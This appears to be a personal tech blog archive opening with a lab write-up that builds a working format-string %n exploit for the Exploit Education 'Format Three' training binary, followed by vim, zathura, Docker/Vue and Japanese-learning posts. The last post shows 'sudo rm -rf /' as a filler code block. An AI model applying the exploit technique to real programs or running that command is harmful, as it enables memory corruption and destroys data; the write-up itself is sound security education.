Writeup: ExploitEducation - Format Three [i486]

Tue, Jun 15 13:06


Today, we will be solving Format Three in ExploitEducation Phoenix, you can find it here. Here's the source code for the challenge, our goal is to modify the 'changeme' variable:

#include 
#include 
#include 
#include 
#include 

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int changeme;

void bounce(char *str) {
  printf(str);
}

int main(int argc, char **argv) {
  char buf[4096];
  printf("%s\n", BANNER);

  if (read(0, buf, sizeof(buf) - 1) <= 0) {
    exit(EXIT_FAILURE);
  }

  bounce(buf);

  if (changeme == 0x64457845) {
    puts("Well done, the 'changeme' variable has been changed correctly!");
  } else {
    printf(
        "Better luck next time - got 0x%08x, wanted 0x64457845!\n", changeme);
  }

  exit(0);
}

We already know that you can write to any memory location using the %n conversion specifier, but now, this challenge is asking us to write a specific value. %n will write to the memory location specified the number of characters that were written so far. However, our buffer is only 4096 bytes long, and the value we wish to write is 0x64457845 - which happens to be 1682274373 in decimal. Obviously that won't work.

First, let's just make sure we can even write to the variable. Let's find the location of the variable with:

nm format-three

and we find that 'changeme' is located at 0x08049844.

We need to first find out how far down the stack the function arguments are, so we'll just throw a bunch of %x's at the program and leak a bunch of the stack. We're just padding the memory locations up to 8 characters and adding a space to make it a bit more readable:

python -c 'print("AAAA"+"%08x "*200)' | ./format-three

Here's a bit of the output

AAAA00000000 00000000 00000000 f7f81cf7 f7ffb000 ffffd738 08048556 ffffc730 ffffc730 00000fff 00000000 41414141 78383025 38302520 ...

Alright nice! Our AAAA shows up exactly 11 words down the stack, as shown by the block of 41414141, so this means that we need to consume exactly 11 printf conversion specifiers.

Just to make sure everything works, we can try writing something to the variable now. Simply replace the AAAA in front of our payload with the memory address of 'changeme', and call %n at the end of the string:

python -c 'print("\x08\x04\x98\x44"+"%08x "*11+"%n")' | ./format-three

And we get this:

Better luck next time - got 0x00000067, wanted 0x64457845!

We got something! We have successfully corrupted memory, now's only a matter of writing the values we want. The value we wrote was 0x67 since that's the number of characters we have written so far, you can try verifying this yourself. Now, remember the issue we talked about before how the number we wish to write was too large? Let's tackle that now.

What we can actually do is write the number in chunks, one byte chunks to be specific. Thus, all we need to do is pass printf four separate memory locations and write 0x45, 0x78, 0x45 and 0x64 - which are 69, 120, 69 and 100 respectively.

So instead of passing just the one memory location in the beginning, we will pass four. Then we can control the value that is written by padding some characters the tick up the value that %n writes. Let's more our exploit to a python script that we can pipe into the executable instead:

loc1="\x44\x98\x04\x08"
loc2="\x45\x98\x04\x08"
loc3="\x46\x98\x04\x08"
loc4="\x47\x98\x04\x08"

You may have noticed a problem by now. We want to write two 0x45s, but there's no way of accomplishing that, as %n only ticks up. What we can try to do is two writes one after the other and have loc2 be \x46, but then once we wish to write to \x45, %n will write 8 bytes and overwrite what we put in \x46 earlier, here's a little diagram:

47 46 45 44
===========
00 00 00 00
00 00 00 45
00 45 00 45
64 45 00 45
00 00 78 45 <- oh nos!!

How about this for an idea, instead, write 0x0145 and 0x0164 on \x46 and \x47 respectively, and we can simply overwrite the extra stuff on our next write. Here's what this would look like:

48 47 46 45 44 | %n
===============|====
00 00 00 00 00 | 000
00 00 00 00 45 | 045
00 00 00 78 45 | 078
00 01 45 78 45 | 145
01 64 45 78 45 | 164
   ** ** ** **

and as you can see, %n is only increasing, and we are writing our bytes in order, so this should work! Here's the final python script:

loc1="\x44\x98\x04\x08"
loc2="\x45\x98\x04\x08"
loc3="\x46\x98\x04\x08"
loc4="\x47\x98\x04\x08"

consume="%c"*11
write="%n"
pad1="A"*42
pad2="A"*51
pad3="A"*205
pad4="A"*31
print(loc1+loc2+loc3+loc4+consume+pad1+write+pad2+write+pad3+write+pad4+write)

You can easily check the padding values are right yourself. Our four locations take up 16 bytes, and our consume string uses 11 bytes, the first number we want to write is 69 so we need to pad 69-16-11=42 bytes, and so on for the rest of the values.

piping this into format-three gives us:

Well done, the 'changeme' variable has been changed correctly!

We did it!

ミニVIMヒント第1章

Mon, May 31 20:34


あ,みんなさん,今日から週次にミニVIMヒントのブログポストが著すつもりです.しかし,大学とか,求職とか,きっと無理です. それより始めましょうか.

今日のヒントの主題がホワイトスペースです.いろいろなホワイトスペース見えるようになりたい理由が存在します. たとえば末尾のスペースを消したい時に,スペースとタブとどっちがあるの気付きたい時に.

VSCODEと他のIDEはもうこのフィチャーがあります.

相変わらず,VIMもあります.ディフォールトオフだけです. コマンドラインモード(それとも.vimrc)で

:set list!

はホワイトスペース文字(スペース,タブ,ニューライン)を現れるのがトグルします. ボーナスホットキーマップ:

map s :set list!

今ちょっとかっこ悪いですけど,変えやすいですよ!簡単に

set listchars=tab:▸\ ,space:·,eol:¬

tab:とspace:とeol:の後で好きなカキャラクターを使います.これは結果:

完璧.さって今日ここまで,次回はミニVIMヒント第2章!

Karatsuba Scans

Sat, Apr 17 19:56


Started working on translating manga a bit ago, so we have our own website to host it now (at karatsubascans.com). Go take a look if you feel like it. At the moment, it's just running a self hosted manga reader called mango, but we do plan on writing our own in the future. Perhaps it will come with it's own dedicated reader so we can actually learn react properly. But most likely it will just be a static site to distribute pdf / images for people to read using whatever reader they want. We are trying to stick to a chapter a week, but typesetting tends to be a bit of a bottleneck. Also the current manga we are doing is girls last tour (少女終末旅行), but mob psycho, promised neverland and kaguya sama are planned for the future. Anyways, that's about it for now.

HTN Frontend Writeup

Tue, Mar 16 20:41


This is the writeup detailing some design choice that went into my Hack the North Frontend Challenge. The task was to create a mock hackathon page with a schedule to display workshops and talks and such that would be taking place.

Frameworks, Tools and Other Goodness

My first impulse was to use react with typescript to build the frontend. However, I was already quite short on time since I spent some time on the backend challenge. So I decided to stick with vue, which I am more comfortable with. I also brought in vuex and vue-router since they would be needed anyways when the project scales.

In the past, when running boilerplate code, ESlint was always bundled, and I recall getting infuriated by how picky it was, throwing a tantrum and preventing your code from running with you have a trailing space or something. However, I probably got a bit fed up with having to deal with inconsistent code style when working in a group, so I decided give it another shot. In the end, I gotta say it sorta grew on me.

I have always been putting off learning docker, but I have finally decided to give it a shot this time. I'll be talking more about this in the deployment section later, where I deploy the project onto my own vps with nginx.

Finally, for styling, I did some mixing and matching to my preferences. I used vuetify since they have a nice calendar component. Unfortunately, material design is not my favorite and vuetify was a bit more strict on the style, so I also opted for vue-bootstrap for a bit more fine tune control.

Auth

My idea for auth is to use json web tokens, although it depends on the backend I suppose. Anways, the idea is that whenever the server authenticates the user, they give back a token that the user stores in the local storage of the browser. This can help preserve login even if the tab is closed, and also serves a double purpose of a way to check to see if the user is currently logged in and displaying corresponding components (like a logout button instead of login). For the time being the auth module just returns a dummy promise, but it can be swapped out easily.

Also, I would like to present possibly the most innovative authorization code in history. It runs on the client side for maximum performance of course.

Handling Data

Since the request the frontend makes to the server is just to get hackathon events, I thought about making a single request to the server for all the data on launch, and having the app reference the local data instead. This should work since hackathon events generally won't be changing much, especially across the time the user is on the app.

Localization

At one point I decided it would be cool to provide some translations for the page, since a virtual hackathon tends to attract a larger audience. For this project, I decided to provide english and japanese (no particular reason). A pretty interesting localization project called i18n has a vue integration so I decided to give it a shot. The idea of i18n is to provide metadata for each locale like so

{
    'en': {
        hello-text: 'Hello World!'
    },
    'ja': {
        hello-text: 'このいちは,世界!'
    }
}

and then later in your vue component you can do something like so:

<template>
    <p>{{ $t('hello-text') }}</p>
</template>

And based on a locale variable you set, the text will be automagically generated. My first impression of this was it could get pretty unmaintainable with many components. However, i18n has support for single file components. By getting a specialized Vue loader, you can use i18n tags alongside in your vue components, like so

<template>
    <p>{{ $t('hello-text') }}</p>
</template>

<i18n>
{
    "en": {
        "hello-text": "Hello World!"
    },
    "ja": {
        "hello-text": "このいちは,世界!"
    }
}
</i18n>

Beautiful. i18n is great for managing localizations, but I get the impression that it may not scale as well when you have more languages, as the files will get pretty crowded. Perhaps it may be better to use machine translations. For the scale of this project, it works perfectly.

Deploy

It's my first time deploying with docker, so it was quite the interesting experience. I found it especially awesome when I was messing around with docker how I could run my node app without having node installed. Getting nginx to play right with docker and properly mapping the ports was a bit of a headache. In the end, I couldn't get the frontend to work inside docker, so I just deployed it normally. Finally, I used certbot to get https up.

Extending

Hackathon application pages always impressed me quite a lot. I definitely wanted to make some sort of flashy animation process, which would also be pretty great for me to practice my design (my css-fu needs some improvement). Also, although the scope might be much bigger. I would have like to make a hacker dashboard, where you can view your responses to the application and view your application status.

Conclusion

Anyways, this has been a fun project where I got to learn a decent amount, despite the fact that it felt like a back-to-back hackathon (combined with the backend section). You can view the final product here, as well as the git repo here.

Make your own vim bar

Fri, Feb 19 15:39


The vim bar that I have been using up until now was vim airline. Don't get me wrong, it's a great bar that looks awesome, but I wanted a bar that used my terminal colors, for more consistent theming. I was also sorta in the mood for cutting down the number of plugins I was using, since chances are, vim already has that feature builtin. Finally, vim airline had a lot of information I didn't need or care about. I'm aware that it's very configurable, but it's better to start from less and add in features than start from bloat and cut down.

Anyways, I really only looked for a couple things in my bar:

The first thing we need to do is actually enable the vim bar. You can do so by adding this line to your .vimrc:

set laststatus=2
set statusline=

You can alternatively use a value of 1, which only displays the status line if there are more than 2 windows. With this option, the bar acts more like a window separator. What we really want is a statusbar, so it should be on at all times (hence the 2 option). The second line clears whatever was in your statusline before, this isn't too required.

Basic Config

You could set your statusline all in one line, but that makes it quite unreadable, especially if it wraps multiple lines. What we can do instead is append sections using

set statusline+=[stuff]
set statusline+=[more stuff]
set statusline+=[even more stuff]

Vim gives you a couple nice variables to use, the full list can be found by running: :h statusline. Here's what a minimum statusbar might look like:

set statusline+=%f
set statusline+=\ %l/%L:%c

It's not much but it's a start. We are making use of those vim variables I mentioned earlier. Specifically, the first line tells us the file name, and the second line gives us information on line number and what column we are on. Also notice the backslash space on the second line, that simply inserts a literal space character, useful for separating blocks. Play around with the variables and get a basic layout that you like, here's what I came up with:

set statusline+=\ | 
set statusline+=\ vim\ \[%{mode()}\]
set statusline+=\ %{expand('%:~:.')}\ %m
set statusline+=%=
set statusline+=%y
set statusline+=\ %r\[%{v:register}\]
set statusline+=\ %l/%L:%c
set statusline+=\ |

A couple interesting things to point out, whenever you see %{} we are calling a vim function, these can be ones you write too, which you will see a bit later. Next, %= is pretty useful since it right justifies everything after it.

Colors

The white bar is getting a bit tiring, let's see how we can set colors. The easiest way is to use:

hi StatusLine cterm=None gui=None ctermfg=black ctermbg=Yellow

These colors will be based off your terminal's colors, you can find a full list as well as what they look like by running :runtime syntax/colortest.vim in command mode.

Alright cool, so we can set the bar color, but how do we set the color of individual sections of the bar? Well, we have other highlights to our disposal that we can set and reference from within our statusline, specifically:

hi User1 cterm=None gui=None ctermfg=White ctermbg=Black
hi User2 cterm=None gui=None ctermfg=Black ctermbg=LightBlue

And inside our statusline:

set statusline+=%1*\ |
set statusline+=%0*\ vim\ \[%{mode()}\]
set statusline+=\ %1*\ %{expand('%:~:.')}\ %m
set statusline+=%=
set statusline+=%y
set statusline+=\ %2*
set statusline+=\ %r\[%{v:register}\]
set statusline+=\ %l/%L:%c\ |
set statusline+=%1*\ |

Note how our use of %1* corresponds to User1 and similarly for the other user variables. From what I've seen, StatusLine corresponds to %0*.

Responsive Bar

With this we can make our bar change color depending on what mode we are in, here's a function to do it:

function! StatusModeColor()
    if (mode() =~# '\v(n|no)')
        hi StatusLine cterm=None gui=None ctermfg=black ctermbg=Yellow
    elseif (mode() =~# '\v(v|V)')
        hi StatusLine cterm=None gui=None ctermfg=black ctermbg=Red
    elseif (mode() ==# 'i')
        hi StatusLine cterm=None gui=None ctermfg=black ctermbg=LightBlue
    elseif (mode() ==# 'c') 
        hi StatusLine cterm=None gui=None ctermfg=black ctermbg=Green
    else
        hi StatusLine cterm=None gui=None ctermfg=black ctermbg=DarkGrey
    endif

    return ''
endfunction

and just add this line to the top of your statusbar:

set statusline+=%{StatusModeColor()}

This way, the function will get called on statusbar redraw. This may not be the most efficient, and you can perhaps call the function on a mode change hook or whatever. The mode names in each of the if statements is what is returned from mode(). You can find a more or less full list here.

And finally, I wanted some sort of indication if the buffer was modified or not, so here's another function to do that:

function! StatusModifiedColor()
    if getbufinfo(1)[0].changed
        hi User1 cterm=None gui=None ctermfg=Black ctermbg=Magenta
    else
        hi User1 cterm=None gui=None ctermfg=White ctermbg=Black
    endif

    return ''
endfunction

And again, add this to the top of your statusbar:

set statusline+=%{StatusModifiedColor()}

And that's about it, a brand new, plugin-less vim bar! My full vimrc can be found here if you are interested. So far, I haven't found the nicest way of displaying open buffers, since vim's builtin tabline displays open tabs, not buffers. Perhaps that will be a post for another day when I figure it out.

Additional Reading

There's a couple of great resources you should look into

Configure Zathura with Xresources

Wed, Feb 03 14:22


The .Xresources file is great. It is a centralized place for you to define color themes and fonts among other things to be read by a variety of applications. This allows for a consistent theme, and less hassle when changing settings. Everyone knows that repetitive code is bad code.

However, for whatever reason, zathura, my pdf viewer of choice, does not want to read from this file. The effect I wanted to achieve was to make zathura have the same background color as my terminal, like so:

Obviously we aren't going to give up over such a small obstacle. It's a slight hassle, but we could simply have a shell script read from Xresource and write into the zathura config file. The only downside is that the script needs to be run everytime you want to modify the config.

First, locate your zathura config file. By default, it should be located at $HOME/.config/zathura/zathurarc. So this is the file we want to write our new config to.

Now to read from Xresource, we could just use sed or grep and find the line we want and format it so we get the value. However, if you used macros, this might not play out too well. Thankfully, X gives us a handy command to query our Xresource settings, namely xrdb -query. The output of this command looks something like this:

*.background:   #2E3440
*.color0:       #3B4252
*.color1:       #BF616A
*.color10:      #A3BE8C
*.color11:      #EBCB8B
*.color12:      #81A1C1
*.color13:      #B48EAD
*.color14:      #8FBCBB
*.color15:      #ECEFF4
*.color2:       #A3BE8C
*.color3:       #EBCB8B
*.color4:       #81A1C1
*.color5:       #B48EAD
*.color6:       #88C0D0
*.color7:       #E5E9F0
*.color8:       #4C566A
*.color9:       #BF616A

So now all we need to do is grep for the option we want, and use awk to grab the second column.

I made a function to query X like so:

get_option() {
    xrdb -query | grep $1 | awk '{print $2}'
}

And now we are ready to write to our config file. Since our config will most likely be multiline, we can use heredocs:

cat > "$HOME/.config/zathura/zathurarc" <<- CONF
    set recolor
    set recolor-darkcolor "$(get_option foreground)"
    set recolor-lightcolor "$(get_option *.color0:)"
    set default-bg "$(get_option *.color0:)"
    map i recolor
CONF

Note that using <<- ignores leading tabs while << does not, just for aesthetic. Notice how we used command substitution to call the function we wrote earlier.

Finally, chmod your shell script and run it every time you want to make a change to your config. Since we are overwriting the zathura config, you want to define your options inside the body of the heredoc instead. The example config I gave provides the background color behavior I described earlier. Specifically, we actually redefine the colors zathura's 'invert color' mode uses. This way, we can toggle between the original pdf color and our colors with the 'i' key.

And that's it! We are done, shell script to the rescue.

ブログへようこそ

Mon, Jan 18 20:34


僕のブログへようこそ!このサイトでいろいろソフトに関することを掲載するつもりです. フワイ,このシェルスクリプトで作ります,ブログは.

実は,日本語初心者ですから多分文法がちょっと変でしょう. ブログ書くのは日本語練習って思います.とにかく,頑張ってます.

あーほら,ギフです.どう致しまして.

Vim users remap caps to escape rnrn

Fri, Jan 15 17:02


Probably the worst nightmare of any vim user is accidentally hitting the caps key.

Caps lock is useless, for the vast majority of time, you only need to capitalize just the first letter, so pressing caps + letter + caps is too many key presses! Simply releasing the shift key is much faster and feels much better.

However most importantly, it leaves such an ergonomic key open for... escape! One of the most commonly hit keys of vim users. Such an important key is so far from the home row, almost acting counterproductive to the speed boost vim gives you.

How to remap (Linux)

Setxkbmap

On linux, if you happen to use X (which is most people), you can get away with using setxkbmap, simply include the following in your .xinitrc, or some alternative auto run script: setxkbmap -option caps:escape For the most part this will work well enough. Another option would be to make a custom key map with xmodmap, if one of these has any issues give the other a try.

Xmodmap

You can make a custom key map by running: xmodmap -pke > ~/.Xmodmap and then simply add xmodmap "$HOME/.Xmodmap" to your .xinitrc or equivalent.

As for the actual configuration, I added these lines to .Xmodmap:

remove Lock = Caps_Lock
keysym Caps_Lock = Escape
add Lock = Caps_Lock

Oh, and also, if you screw something up and want to reset your keyboard, you can use: setxkbmap -layout us or whatever your default keyboard layout was.

How to remap (Windows)

I'm not much of a windows user, but here's a nice article from the vim website. I specifically recommend using autohotkey, as it gives you much more fine control on the behavior (you can do things like make caps function as escape only when running vim).

Afterthought

An alternative may be actually mapping caps to control instead, arguable a much more used key than escape in vim and especially in gui programs. Instead, you can use ctrl+[ as escape instead in vim. I'm still currently using escape, but I'll probably try control sometime in the near future. Regardless, the point is, uninstall caps lock already!

Additional Reading

Here are some links you might want to check out:

Animelon for learning japanese

Wed, Jan 06 21:33


Found a cool anime site for learning japanese: animelon.com. It provides english subtitles as well as japanese (with options for romaji, ひらがな and カタカナ). You can also hover over subtitles to get definitions, and jump between dialogue lines. It also has some more hardcore features like saving dialogue for flashcard quizzes. I'm not hardcore so I just like to have the two subs at the same time and do some passive learning. Overall the uploads are decently high quality so it can used for general anime-watching too. Only downside is that it's selection is much smaller than your standard site, and it almost completely lacks the newer seasonal stuff, since they need time to make the necessary subs or whatever. Anyways that's it, doesn't hurt to give it a shot.

Welcome To Blog

Tue, Dec 22 13:38


Welcome to my blog! This is where I will post random snippets and possibly guides to some tech related stuff. This blog was generated with a very trash shell script I wrote, for the sake of avoiding bloated web frameworks. There's still a couple of things I would like to improve, such as how you can't have certain special characters in the blog name, and I would probably like some sort of tag feature to filter the blog posts. Oh and, feel free to subscribe to the rss feed, if you care enough.

Here's a random code block, just for css testing purposes:

sudo rm -rf /

And here's a random gif:

That's all for now :>